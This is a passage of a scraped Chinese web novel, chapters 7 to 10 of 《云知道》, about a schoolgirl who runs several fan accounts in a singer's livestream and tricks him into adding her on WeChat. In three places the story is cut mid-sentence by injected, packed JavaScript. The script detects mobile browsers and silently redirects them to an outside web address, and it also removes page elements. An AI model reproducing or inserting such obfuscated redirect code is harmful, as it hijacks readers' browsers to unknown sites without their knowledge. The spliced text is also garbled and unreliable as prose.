《云知道》 7. 第 7 章 她哪有经常抽风? 宋浣溪对越淮双标的行为,十分不齿。但这不妨碍,她用他做练习的工具人。 云溪:「哥哥怎么能这么说呢(哼哼)」 云溪:「我是想问,你五一回不回来啦(眨巴眨巴大眼睛)」 那头的人似乎是对她无语了,好半天没说话。最后用一个红包,堵住了她的嘴。 Y:「再说。」 宋浣溪毫不犹豫地收下红包。她对这次练习的效果很满意,过程虽然不尽人意,结果却有意外之喜。 她心服口服,简直要把坏女人的语录,奉为圣经。 九点五十,闹钟准时响起,宋浣溪戴上耳机,点进云霁的鱼鱼视频主页。 时间一分一秒过去,十点,十点零五,十点十分。 在她忍不住要去云霁微博询问的时候,他终于开播了。 显示屏上的男人额前碎发湿漉,水滴贴着冷白的皮肤,一滴一滴地往下流。 他站着,冷白的手指仍在鼠标上。开口的第一句话是,“抱歉,我迟到了。” 他的声音偏冷,在此情此景却不显得锋利。短短几个字,一字一字地贴着耳朵,灌入她的耳内。 是网上那些擦边男,怎么夹也夹不出来的那种声音。 她没戴耳机,都觉得自己的耳朵快怀孕了。心跳砰砰砰地加速。 头顶的灯没开,仅开着书桌旁一盏明黄的台灯。柔和的灯光映着他脸上的轮廓,天生的疏离感锐减,反倒有种莫名的温柔。正应了那句,灯下看美人,越看越美。 先前她的注意力全在他的脸上,这会儿她忙将视线落到其他地方。他的衬衣湿透了,似乎刚风尘仆仆地从暴雨中赶来。 小溪流:「没事没事。」 小溪流:「身上怎么湿啦?快去换衣服呀!」 宋浣溪手指飞快地打字,快要化身八爪鱼。为了不掉马,她还给每个账号定制了不同的人设,可谓是用心良苦。 溪溪不爬墙:「老公快去换衣服呀(着急)(团团转)」 纯情小兔火辣辣:「独自一人远离家乡在河清打黑工,同事欺我,客人辱我,渣男骗我。一年不吃不喝攒下五百,被渣男骗走用于和小三开房。撞破奸情后,我忍辱负重,只为给他们致命一击。预知后事如何,换件衣服来我房间…… 」 云霁的小尾巴:「心疼我崽,可千万别感冒了。这个季节感冒最难受了o(︶︿︶)o」 和大多数小主播一样,为了方便粉丝,他会挑着读弹幕。 “身上怎么湿了?”他轻声念完,不怎么在意道:“雨淋的。” 云霁扫了眼后面的评论,娴熟地忽略“老公”二字,“过会儿换。” 宋浣溪一听他声音就迷糊的毛病,越发严重了。内心有只尖叫鸡啊啊啊地乱叫,就是这个音量!这个力度!这个语气! 眼下不是花痴的时候。 溪溪不爬墙:「老公出门怎么不撑伞呀(气呼呼)以后可不能忘了(叉手手)」 溪溪不爬墙:「不行不行(疯狂摇头)现在就要换!不然我要罢工啦(哼哼)」 她又用其它账号,齐刷刷地发了“现在换”三个字。宛如训练有素的水军。 云霁无奈,“等我几分钟。” 宋浣溪自是连连答应。 她对云霁房间的布局,已然了如指掌。实木地板,一张床,一张桌子,一把椅子,一个衣柜。是那种极简主义风格,简单又干净。 他的房间没有自带卫生间…… 宋浣溪一时间浮想联翩起来,那他换衣服的话,岂不是要……不行!不行!绝对不行! 没等她幻想到下一个场景,云霁从衣柜里拿了些衣物,开门出去了。 留下一小道门缝,门缝外仅有房中透出的一丝光亮,走廊没有开灯。 脚步声渐行渐远,没几分钟,又渐行渐近。和另一道鬼鬼祟祟、刻意压低的脚步,不期而遇。 “卧槽。”公鸭嗓大声呼气,像是被吓了一跳。 许是看清面前的人了,公鸭嗓的声音很忐忑,“哥……你今天怎么这么早就回来了?” “嗯,有点事。”云霁的声线平稳,听不出喜怒。 “哥。那……那我先回房间了。”脚步声响起,显然迫不及待。 “等等。” 脚步声骤停,公鸭嗓吸了口气,英勇就义般,噼里啪啦开口,“哥,我刚刚去高振国家里玩了会儿,所以回来晚了点!我也想早点回来的,可是高振国一直不让我走……” 宋浣溪马上听出云卷在撒谎,放学时,她分明见他和高振国在校门口分道扬镳。 看来,他还真瞒着云霁些什么。 她本来还担心,自己信口胡诌的秘密,找不到说辞。这下好了,她很快就可以找云霁喝奶茶了。 “不是这事。” “那是怎么了?哥,我发誓,我这几天都很老实本分,没逃课,没打架。”云卷试探地问:“哥,是不是有人和你说什么了?” “没人和我说什么。”云霁问:“这两天有没有欺负人小姑娘?” 小姑娘。 没有指名道姓,只是模糊的、不确定的代名词。不知怎的,她却万分笃定,他口中的人是她。 “我可不敢欺负她。”云卷小声说:“你都那么说了,我哪敢啊。”声音越来越低,几乎快要听不见。 云卷的声音听起来很心虚,“我早就认识到错误,已经和她握手言和了。现在我们俩关系好着呢。她还教我做数学题来着。” 宋浣溪:我怎么不知道这事? 云霁:“嗯。” 心里像有只羽毛在挠,宋浣溪对云霁先前可能提到过她的每句话,都十分好奇。 她好奇,她给他留下的第二印象。 之所以好奇的不是第一印象,那是因为她心里有数。故意指错路,怎么也不会是什么好印象。 那第二印象呢。 云霁推开门进来的时候,已然换了一身休闲的薄开衫,白色棉质内里,看起来居家又闲适。黑发干了大半,像是刚刚洗净吹干,清爽又干净。 门很快关上,她匆匆一瞥,门外已空无一人。 宋浣溪疯狂敲字,赶在云霁坐下前,完成了妈粉的使命。 云霁的小尾巴:「崽崽!想死妈妈了!你换衣服的这几分钟,我简直是望穿秋水、如隔三秋,恨不得如影随形啊!」 她严格遵循人设,说话不过大脑。敲字纯粹根据肌肉记忆,压根没空细想。 手指从手机移到平板,继续飞速运转,“老公,你怎么换件衣服还出去(笑)……” 哪想到,云霁这回较了真,“云霁的小尾巴。” 宋浣溪的手指顿住,马上切换回手机。 云霁的小尾巴:「崽崽!我在!」 “请问你,今年几岁?” 宋浣溪脸不红,心不跳地胡扯。 云霁的小尾巴:「别看我今年才二十八岁,已经三婚三离。现在带着一男一女两个娃。」 二十八,不多不少。既勉强符合妈妈粉的年龄,又不过分脱离普通人对追星族的刻板印象。 最重要的是,要是让他知道,她年纪比他小,却以妈粉自居,有占口头便宜的嫌疑。 为了混淆视听,避免在他的追问下,暴露些什么不该暴露的。她忙敲了好几条,营造争先恐后、踊跃发言的气氛。 小溪流:「哥哥我刚刚过完十九岁生日啦~嘿嘿嘿」 纯情小兔火辣辣:「为什么(跑来跑去)为什么你们年纪都比我大(仰天长啸)你们是不是故意伪造年龄(揪住衣领)好显得比我成熟比我懂事(狠狠盯住)说啊是不是!(抓头狂叫)为什么我才十八?到底为什么?(继续奔跑)」 他一手支着下颌,似乎只是随口在问:“不是十六吗?” 宋浣溪心头一紧,吓了一跳。很快又镇定下来。 原因很简单,每次云霁直播后,她都会反复复盘,恨不得把两人的对话刻进DNA里。她很肯定,她从没说过自己十六岁。 唯一可能暴露的是,她曾在给他的私信中,碎碎念地吐槽作业太多,同学太烦,哥哥太贱。 也就是说,还有狡辩的空间。 云霁拿起桌上的手机,修长的指节轻点三下。如果她没猜错的话,步骤应当分别是:微博——消息——与纯情小兔火辣辣的聊天记录。 一时间,她不知道该喜该忧。 喜的是,微博的已读功能诚不欺她,他真的看了她的私信。 忧的是,他曾三令五申,告诫未成年粉丝不要刷礼物。而她每次直播,都会给他刷几个小礼物。 虽然,真的很小就是了。小到没法提现的那种。 如此想来,她又抓住了一个细节。 她给他私信作业太多后,他才在直播里谈到未成年粉丝刷礼物的问题…… 在云霁找到她的罪证前,她忙不迭地开口。 纯情小兔火辣辣:「我十八岁,高三#170#清纯女高#黑长直#楚宫腰#艺术生#女神#富家千金#国际学校#留学」< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13976586|148038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>其实,她才高一。 云霁不疑有他。他放下手机,微微蹙眉:“下下个月高考,有时间看直播?” 进也不是,退也不是。这下没法狡辩了,她只能硬着头皮一通乱敲。 纯情小兔火辣辣:「我看你直播的原因: 第一,不会叫我打赏超过一毛钱的礼物。可以白嫖。 第二,水果机容易发烫,你直播间冷,不会把手机烫坏。 第三,不会说“小朋友不好好学习,以后只能捡垃圾”之类的鬼话(影响本人心情,需要承担法律责任) 第四,只能说,没事,大不了我养你。 第五,人格启动。 第六,高考比高兴重要,高兴比高考简单。先高兴,再高考。高心地高考,高考得高兴。一举两得。」 漫长的沉默后。 云霁对着屏幕,对着她口中的“鬼话”照念:“小朋友不好好学习,以后只能捡垃圾。” 他他他。 她就知道会这样! 宋浣溪用其他账号转移话题。 见一个爱一堆:「头悬梁锥刺股,终于考上top大的环境工程专业,还是逃不过捡垃圾的宿命……」 溪溪不爬墙:「老公!(超大声)你怎么一直和那个什么妖娆小兔说话(叉腰)你还没问过我几岁呢(吃醋)(哼哼)算啦,我自己说也一样(戳手手)我和你一样,今年都是二十岁呢(忸怩)(娇羞)(捧脸脸)我们好有缘分呀(抬下巴)(带着点小骄傲)」 他轻声一笑,那笑声浅浅地溢出喉咙。没有专业直播话筒等工具,却自带3d立体特效。 她的意思是,他的笑声,很苏。 宋浣溪呆呆地看着他的喉结,上下滚动。仿佛感觉到了他的声带,在微微震颤。 有那么很长的一段时间,她固执地觉得,不笑就代表着不开心。 所以每场直播,她扮演着各种各样的角色。除了制造热火朝天的假象外,主线任务其实是取悦他,逗笑他。 她喜欢看他笑。 甚至称得上,着迷。 他的话语里带着淡淡的笑意,“溪溪不爬墙,你也跟纯情小兔学坏了。” 宋浣溪忍不住踩高捧低,这就叫气度!格局!幽默!看看大魔王,一股嫌弃劲,那说的叫什么话啊。再看看云霁,他笑了,就代表捧场。 她一时间感慨万千,果然知己难寻、知音难觅!虽然,是她单方面这么认为。 她想也知道,这括号文学网上多了去了,但凡上网的人不可能没刷到。殊不知,还真有人没刷到过,譬如云霁。 皮一下很开心,宋浣溪厚颜无耻地揽功。 溪溪不爬墙:「她那种不入流的发疯文学(不屑)怎么能跟我的独家撒娇文学(得意)(勾了勾唇)相提并论?(摘下墨镜)(撩刘海)(单手撑墙)(邪魅一笑)下次别看错了哦(自以为很酷地眨眼睛)」 事实证明,眨眼睛不能放电。但暴雨天的夜空,有数不完的电能放。 突然间,一阵轰鸣的雷声响彻云霄。饶是有所准备,她还是被惊得浑身一颤。 “轰隆隆。”又一阵相同频率的雷声,只重不轻。 下一秒,头顶的灯光熄灭。只剩屏幕这唯一的光源。时间仿佛按下了暂停键,屏幕中的男人静止不动,无声无息。 停电了。 宋浣溪拉开窗帘,其他楼栋的灯都亮着。她伸长脖子,费尽力气,切换了好几个角度,上下观察,她所在的一整栋楼都黑漆漆的。 不知是电力线路被雷击中,还是别的什么原因。总之,这电是停了,wifi断了,直播暂时看不了了。 没有任何犹豫,她抄起手机、平板,往外走。 小区旁边的商场门口,有一家星巴克。那里有免费的WiFi,24小时营业。 大雨倾盆地倒在浓墨般的夜里,宋浣溪一手撑伞,一手抱着电子设备,卷起裤腿冲进雨里。不顾大雨滂沱,泥水四溅。 一边是雨夜中的狂奔,一边是深夜里的等待。 粉丝集体掉线,又过了整整五分钟,毫无音讯。还没到下播时间,云霁抿了抿唇,闭眼稍息。 今晚直播间来的几个粉丝,他都记得名字。 小溪流,纯情小兔火辣辣,溪望你,云霁的小尾巴,溪溪不爬墙。 不对。 小溪流、溪望你、溪溪不爬墙,应当并排。 都有溪字,都同时掉线…… 她们会不会是同一个人? 忽然,他睁开了眼。 8. 第 8 章 宋浣溪跑到星巴克的时候,上衣前面湿了大半,裤脚全是泥水。 虽说雨大风急,但慢步前行不至于如此惨烈。奈何她跑得急切,不顾雨水迎面扑来。 这样的天气,店里除了避雨的两位行人,空空荡荡。 她粗暴地抖了抖伞,坐在了最角落,也是最安静的位置。看了眼时间,距离断电已过将近二十分钟。她匆匆地连上各个电子设备的wifi,心里计较着说辞。 云霁不会看到没人,就下播了吧。 应该不会,说好十二点下播。他向来守诺。 得赶紧去拯救他! 没了她,直播间得惨淡成什么样。也许,一个人都没有。他看到直播间一个人都没有,肯定错愕得不行。开始怀疑人生。 换个角度想,这样他就知道她这“群”粉丝,有多可爱,多重要了。 得好好安慰他,哄哄他,告诉他:你才不是没人喜欢,还有我们喜欢你。嘿嘿,也不用表现得那么感动啦…… 她畅想着,嘴角不知何时弯了起来。进入直播间的那一刻,圆润的杏眼却像受惊的猫一样,瞪了起来。嘴角的弧度凝滞。 听觉和视觉同时受到冲击,流入耳蜗的,是低低沉沉的嗓音、沉沉浮浮的音调。 冷白的长指与琴弦勾缠,如急雨、如呢喃的琴音交叠。歌声将故事娓娓道来。 男人是初中就辍学的流浪歌手,从边境小城一路唱到繁华的首都。女生是四合院长大的娇小姐,家中管教森严的她,早早订了娃娃亲,这也让她更向往诗和远方。 小镇浪子与名门闺秀的碰撞,引起了女方家中的强烈不满,他们逼迫她早日和世家公子联姻。 暴雨夜的长街中,他们私奔了。忐忑焦灼的面容下,是满腔的期待与爱意。 饶是再高超的琴技,在天籁般的嗓音面前,也只能沦为陪衬。 他唱的是张青松早期的成名曲《私奔》。他不怎么唱这首歌的,今天倒是稀奇。 她呆呆地看着左下角滚动的弹幕,数着右上角的人数。个,十,百,千。她没看错。 在线人数高达数千人。这在大明星的直播间,堪称扑街,心态不好的,没准当场表演臭脸。 但在云霁的直播间,这可是史无前例的盛况。 开心就好:「小伙子唱得不错!为你点赞。」 Juliet:「云霁?是歌手吗?怎么没听过这名字?」 怎么又重名了111:「不认识。素人吧。」 抬杠一级专家:「这不比那个谁翻唱的,好听一百倍吗?也不知道粉丝怎么吹的。随便一个素人都唱得比他好。」 国家级起哄选手:「别说和那个谁翻唱的比了,这不比原唱好听?」 思思林林:「呵呵。我看也不怎么样,只有技巧,感情根本没到位。人家原唱是期待,他这唱得跟追忆一样。总结,难听死了!推荐大家听张思林翻唱的版本,张思林可是张青松亲儿子,感情绝对到位,某些为黑而黑的人真的够了。」 宋浣溪没空去想,这空白的二十分钟发生了什么。她一边对照着保存在收藏夹里的骂人语录,一边加入战斗。 小溪流:「哟哟哟,大姐,别这么快破防啊。你家哥哥五音不全,一首缠绵情感,唱得跟抗战神曲似的,还感情到位呢。笑死个人。不藏着掖着,有脸到处无脑吹,也是没谁了。」 溪望你:「张思林低龄脑残粉是真多,到处发癫。承认别人优秀很难吗???」 张思林的粉丝们闻着味就来了,伪装成路人的批皮粉、反串粉、真爱粉,纷纷加入混战,场面一时好不热闹。宋浣溪双手难敌n手,差点招架不住。好在张思林黑粉也多,有不少黑粉跳出来,趁机踩上一脚。 从阴阳怪气,到人身攻击,再到拖家带口、谩骂诅咒,怎么脏怎么来。弹幕上充斥着滚动的***,戾气十足。 云霁始终敛着眸子,字字句句地弹唱着。直到一曲终了,他才看向不紧不慢地看向弹幕。 迅速滚动的弹幕中,被屏蔽的***居多。但不难猜出其中的大意。 听到琴弦的尾音缓缓停歇,宋浣溪忙将敲了一半的脏话删光,换了一副口吻。 小溪流:「好听!好听!哥哥辛苦啦,快喝杯水,润润嗓子!」 这句话在乌烟瘴气的弹幕中,与众不同。但很快就被刷掉了。 思思林林:「啧啧啧。上一秒破口大骂,下一秒温柔小意?你搁这演戏呢。你家哥哥知道你这么装吗?(微笑jpg)」 看到这里,云霁收起手中的吉他,右手触上鼠标,往上拉动着弹幕。 他的眼神波澜不惊,但宋浣溪还是猛提了一口气。她飙了那么多脏话,会不会破坏她的形象…… 不幸中的万幸,所有脏话都是用“小溪流”和“溪望你”说的,其他账号的形象不会受到影响。 翻了好一会儿,云霁才停下,又打开在线观众列表上下翻阅。不出所料,小溪流、溪溪不爬墙、溪望你三个账号同时在线。 他淡声问:“刚才去哪了?” 宋浣溪确定,他是在和自己说话。 她只带了手机和平板,手机开了应用分身,登录了两个账号。平板开不了应用分身,只登了一个账号。 一共登录三个账号,分别是小溪流、溪望你、溪溪不爬墙。 所以他在和自己的哪个账号说话呢? 思索两秒,她当机立断地决定先用“小溪流”和“溪望你”对号入座。 小溪流:「我中途去了下洗手间,忘记和哥哥说啦。回来的时候,正好听到哥哥在唱《私奔》。嘿嘿。」 溪望你:「刚才家里停电了,连不上网络。应该不是在和我说话吧。」 思思林林仍在揭露“小溪流”的恶行,云霁视若无睹,“溪溪不爬墙,你呢?” 他一字一字,“是去洗手间,还是没网了?” 宋浣溪有些懵,看来那句“刚才去哪了?”是对溪溪不爬墙说的。溪溪不爬墙什么时候引起他的注意的? 她一边暗暗窃喜,一边冥思苦想。很快,她大彻大悟:一定是坏女人上的“直球少女出击”课,起作用了!高冷男神还真吃这一套啊! 溪溪不爬墙:「老公(眼睛亮了起来)我才走了几分钟(嘿嘿)你就发现我不见啦?(欣喜若狂)(跑来跑去)(撞墙)(好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13976587|148038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛)(原来是真的)刚刚接了个电话(懊恼)没想到掉线了(气呼呼)」 没了小溪流和溪望你两大主力,张思林的粉丝以数量上的绝对优势,赢得这场**骂战的胜利。他们骂骂咧咧地退场,只剩思思林林还在坚持不懈地上眼药。 其他路人发表“再唱首歌听听呗。”“不是唱得挺好的,怎么不唱了?”“能点歌不?我给你刷火箭”之类的想法,没有得到云霁的答复,也一个接一个地退场了。 直播间的热度,一下子降了一半。 云霁没看到似的,旁若无人地问她:“哦?什么电话要打二十分钟?” 宋浣溪觉得情况,有点不对劲。但她也说不上来,哪里不对劲。 实在要说的话,云霁这话怎么有点像……小说里被冷落后生闷气的霸总,又或者是电视剧里吃飞醋的男主。 她很快否决了这个不切实际的想法。 她承认,坏女人是有点东西。但生活不是甜蜜的言情小说,更不是玛丽苏偶像剧。 云霁不可能,仅凭三言两语就爱上她。 不然也别叫什么“直球少女出击,斩获高冷男神必看”,直接叫“三句话,让爱豆爱上我”得了。 他顶多也就是,觉得她说话挺有意思,闲得无聊,顺便和她聊两句。 溪溪不爬墙:「是我亲哥打来的啦(扶额)他在外面嘴贱(无奈苦笑)给人打了(叹气)喊我去帮忙呢(摊手)我已经回绝了(耸肩)」 编排起越淮,宋浣溪信手拈来、习以为常,那是一点心虚也没有。 不得不说,这事大魔王也有责任。 不对,该说他的责任很大,非常大。 要不是他寄个手机卡,好几天都没寄到。她能因为没有Wifi掉线吗? 溪溪不爬墙:「哥哥那能有老公重要嘛?(扭捏)(娇羞地低头)(一抹红晕爬上精致的小脸)」 在云霁的记忆中,小溪流的微博动态里,三条必骂一条她人憎狗嫌的哥哥。 扣在鼠标滚轮上的食指无声地敲了敲,本来模糊的猜测更加具象化。 她们都有哥哥。 思思林林不是第一个,看溪溪不爬墙的言论看呆的吃瓜群众,但她是第一个跳出来攻击的。吵到一半,小溪流没影了,她正满肚子火气没地方出。无所谓,反正都是同一个人的粉丝,无差别攻击准没错。 思思林林:「好恶心啊(呕呕)我吐了(呕呕)这样说话很有趣吗(呕呕)装什么嫩啊(呕呕)油得要死(呕呕)不会有人觉得这样很可爱吧(呕呕)」 宋浣溪向来不知道尴尬为何物,在云霁面前例外。 这个思思林林怎么跟厉鬼一样啊,缠上了人,就没完没了。 不能私下互骂吗?非要在云霁面前给她难堪! 她只能装作没看见,但她知道他一定看见了。从他放下吉他那刻起,就一直在看屏幕。 她只能祈祷,他不要被这话影响,不要也这样觉得。 此后,有很长的一段时间,宋浣溪深信,上帝能听到她的祈祷。 不然,她怎么会听见他说—— “嗯。我就觉得挺可爱的。” 9. 第 9 章 这夜过得就像梦一样。 云霁说完那句,让宋浣溪不可置信、欣喜若狂的话后,面不改色地拿起吉他,“想听什么?” 宋浣溪还活在梦里,思思林林目瞪口呆,路人抢先点歌。 后面路过并驻足直播间的观众,越来越多,宋浣溪自觉隐身,给其他人更多互动的机会。 云霁淡漠疏离地弹唱着,直到到达约定的下播时间。这期间,直播间唯一的互动只有点歌。 于是,宋浣溪对这夜最后的记忆,停留在“呦。还是个高冷酷哥”“第一眼余生,第二眼六斤二两已生”“不理姐?行。更有兴趣了呢”“小伙子长挺帅,可惜不爱说话”等奇奇怪怪的弹幕中。 宋浣溪向来是个没什么耐心的人。 一个礼拜后的周五晚上,寻思着时间差不多了,她按捺不住,发送申请添加云霁的微信的请求。 她很机智地没有用微信号添加新同学,只用企鹅号加了高振国。所以,不用另行注册新微信。 前几天,也就是周一早上升旗的路上,高振国趁乱,偷偷摸摸地问她:“新同学,你加那个微信了吗?” 不敢说名字,只敢用那个代替。 这也不怪高振国,他已经被整出心理阴影了。先是被宋浣溪“拦路打劫”,又被陶舒“刑讯逼供”。 虽说陶舒答应他,不告诉云卷这事,但他心里还是七上八下的。 宋浣溪装作一副迷茫的样子,几秒后,才恍然般地说:“你说云卷他哥啊?” “嘘嘘嘘!”高振国贼头贼脑地扫了周围一圈,没看到可疑人员,这才示意她说下去。 “我那天一回家,便签就找不到了,微信号还记在上面。本来准备今天再问一下你……” “不是我不想告诉你!”高振国眼神闪躲,“周末的时候,我三岁的弟弟玩我手机。不知道他怎么弄的,我微信好友全被他删完了……” 宋浣溪追问:“那你准备什么时候加回来?” 高振国支支吾吾:“那个……他平时很忙。我都很少看见他,微信也没和他聊过天,我也不是……一定要加他。你很想要的话……等我下次碰到他吧。不过……我也不能保证要多长时间。” 宋浣溪摆摆手,“那算了。” 高振国懵了,“啊?”他都做好打持久战的准备了。 宋浣溪不在意地说:“周末有个认识很久的帅哥跟我表白了,我在跟他拉扯呢。” 高振国呆呆地站在原地,满脸“我一定是听错了”的表情。他从没有如此怀疑人生过。 这事还没完。 高振国没想到早上刚撒谎,晚上就被人拆了台。 那天晚上的最后一节晚自习。离放学不到五分钟,班上的大多数同学已收拾好东西,只待铃声一响,便夺门而出。 宋浣溪听到云卷在问:“你今天去不?” 她竖起了耳朵。 高振国唉声叹气,“不行啊,卷哥,我妈不让!她这两天晚上都在家。” 云卷嗤声,“你都这么大人了,又不是三岁小孩,管这么严做什么?” 高振国无奈,“更年期的女人都这样。” 云卷毫不留情地戳穿,“她不更年期的时候也这样。” “你不懂,他和我们不一样。”陶舒转头,嘲讽地说:“我是女生,你有个哥哥。不像他,家里唯一的男丁,三代单传,金贵得很。那能一样吗?” 高振国下意识地反怼,“你哪里像女生了?哪个女生跟你一样剪个男生头,和男的一样,难看死了!嘴还贱,难怪没人喜欢你。” “你才嘴贱呢,你全家都嘴贱!”陶舒回怼。 说完这话,高振国忽然反应过来,他骗宋浣溪,自己有个三岁的弟弟,这会儿陶舒又说他是唯一的男丁。 那可不就露馅了吗?! 他忙观察宋浣溪的反应,但只能看到后脑勺,和在本子写写停停的笔尖,他稍微安心了一点点。 没准她没听到呢。 宋浣溪自然是听到了,但她比高振国更担心“自己听到”,只能装作没听见。 陶舒和高振国互相攻击了三分钟后,下课铃终于响起。 这事就这么过去了。 此时。 漆黑的房间中,宋浣溪窝在被子里,盯着自己的好友申请出神。 “你家孩子把我家孩子头打破了(微笑jpg),一问才知道,你家孩子经常欺负我家孩子(微笑jpg)。你怎么当家长的?(愤怒jpg)” 以云卷的个性,打架那可是家常便饭。 宋浣溪觉得这事十有八九能成,被无视的话,大不了,她再注册个微信,换个套路加他。 比如: “不好意思,刚刚把您停放的车撞掉漆了,您通过下好友,咱们协商下赔偿的事。” “您是今年第10000个在本店下单的顾客!恭喜您中了本店一等奖!” …… 总有一个套路能成功吧。 再假装自己加错了人,说一些“相逢即是缘,就当交个朋友”的鬼话。 从此,安安静静地躺尸在他的好友列表。 苦苦等待的两个小时,宋浣溪听着他的歌,刷了不知多少遍他的微博。那叫一个望眼欲穿。 夜渐渐深沉,她也不知不觉地睡着。 云霁走下酒吧的舞台时,时针已指向凌晨一点。 酒吧的灯光暧昧昏暗,吧台边上的男女,正贴耳私语。 不知男人说了什么露骨的话,女人责备般地轻拍他的手,脸上不见责怪。笑声恍若铃铛,响动不停。 她听着男人说话,眼睛却直勾勾地越过他,盯着他身后长身鹤立的、更为俊美高挑的男人。 云霁眼也没抬,他正全神贯注地给吉他装包。恍若未觉。 “呦,今个儿不急着走了?上回才九点多,让你多待会儿,死活不肯,冒着暴雨也要走。这会儿可是都一点多了。说实话,你最近是不是有情况啊?” 陈雷的打趣声忽然响起。不知何时,他已然到了云霁的身侧。 陈雷是这家酒吧的老板,事业狂魔,事必躬亲。近几个月,却常常见不着人。云霁上次见他,还是一星期前。 他虽年过不惑,但“风韵犹存”。长眉、大眼、鹰钩鼻,体型高大威猛。年轻时,他也是位追逐梦想的民谣歌手。当然,是毫无名气的那种。 情场浪子,一路南下,城市走了一个又一个,女友也换了一个又一个。 到了三十好几,迟迟没结婚,把家里人急得团团转。后来,他和一个海晏姑娘看对了眼。这爱情来了,挡也挡不住,两人火速闪婚。从此,他在海晏扎了根。 云霁并不理会他的挤眉弄眼,“没情况。” “你看那边那个儿,看你好半天了。”陈雷努努嘴,“再看看那边那两个美女。专门冲你来的。要不是我拦着,早过来了。” “走了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13976588|148038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云霁单手提起包,毫不费力地挎在右肩上,任凭陈雷在他身后叫唤。 到了家门口,云霁才看到这条好友申请。往楼上云卷的房间望去,那里一片漆黑、寂静无声。 这不是他第一次,被云卷同学的家长找上门。 此前还有两次。 第一次是两年前。云卷和一男同学在楼梯间打架。推搡间,男同学摔倒在地,正好磕着扶手,门牙断了两颗。治疗费不菲。 班主任联系云霁赔钱,那孩子的家长又添加他,连发了几十条长达59秒的语音,除却谩骂,便是索赔。 联系方式,不用想,班主任给的。 那年,云霁自己也是半大少年。高考前夕,分身乏术,囊中羞涩,焦头烂额。 第二次是不久前。一小男生的小女友,不知怎的,和云卷扯上了关系。 小男生拈酸吃醋,不知道从哪要到他的微信,张口闭口“老子的人也敢动”“给我等着”“要你好看”。 人没等到,倒等到他让云卷揍了一顿的消息。 冲完冷水澡,结束一天的疲惫。再次回到房间,云霁才通过好友申请。 这个时间点,对面阿姨再是怒火中烧,也已经睡了。等明天问过云卷情况,再做打算。 宋浣溪听到微信消息提示的第一秒,就从美梦里清醒了过来。 她发出好友申请时,就把手机音量调到了最大,生怕错过云霁的最新消息。 此时,看到“你已添加了Yun,现在可以开始聊天了”的提醒,她差点兴奋得叫出声来。 他通过了!!! 这招挺管用。看来云卷平时,还真是作恶多端。 做戏做到底。宋浣溪把兴师问罪的那句话,原封不动地又发了一遍。 云溪:「你家孩子把我家孩子头打破了(微笑jpg),一问才知道,你家孩子经常欺负我家孩子(微笑jpg),你怎么当家长的?(愤怒jpg)」 云霁的微信名是姓的缩写。 Yun:「抱歉。我会赔偿。」 很好,这出戏的效果很显著。宋浣溪十分满意,再接再厉。 云溪:「谁稀罕你的臭钱!你赔得了经济损失,赔得了精神损失吗?」 她摸着下巴深思,会不会装过头了? 谁料,他甩了个链接过来。 Yun:「《关于审理人身损害赔偿案件若干问题的处理意见》(链接)」 Yun:「抱歉。精神损失,我也会赔偿。」 宋浣溪点进链接一看,文章详细解释了精神损害赔偿的金额及计算标准。 她沉默了几秒,她的本意是,孩子幼小的心灵受到伤害,无法弥补。他却一本正经地按照字面意思理解。 这也不怪云霁。单从他对精神损失了如指掌一事来看,不难看出,他没少被讹。 宋浣溪这般想着,又狠狠怜爱了他一番。 咄咄逼人不下去,她变得善解人意起来。 云溪:「没想到你比你弟弟负责多了(竖起大拇指)果然家家有本难念的经啊(叹气)」 云霁的指尖顿了顿,心里升起淡淡的疑惑。 他起初认定,对面是位上了年纪的阿姨,这会儿却不大确定了。他的确没见过,哪位阿姨这般说话。 不说阿姨,这种聊天方式,他只在一个人身上见过。 薄唇微启,他几不可闻地念着她的名字—— 云溪么? 10. 第 10 章 Yun:「冒昧问一下,您是孩子的母亲吗?」 宋浣溪看了看自己蓝天白云的微信头像,冒充阿姨也算勉勉强强。又看了看自己的言论,比起“溪溪不爬墙”,她已经十分收敛。 斟酌半晌。她还是觉得,姐姐这个角色适配度更高些。 她切换自如地完成了角色转变。 云溪:「我是孩子姐姐。」 又废话道。 云溪:「听说你是孩子的哥哥。」 他答是。 宋浣溪想着,现在多半是因为云卷睡了,所以云霁还没发现破绽。 等明天云卷醒了,谎言可就不攻自破了。与其被动戳穿,不如主动暴露。 云溪:「听说你弟弟经常闯祸啊!」 云溪:「这个年纪的小孩都这样。」 云溪:「五六岁正是人憎狗嫌的年纪。幸好我弟弟很乖很听话。」 云霁蹙了蹙眉。虽说云卷的确经常惹是生非,但他还没离谱到欺负幼稚园小孩。 Yun:「你弄错了。我弟16岁。」 敬语也不用了。 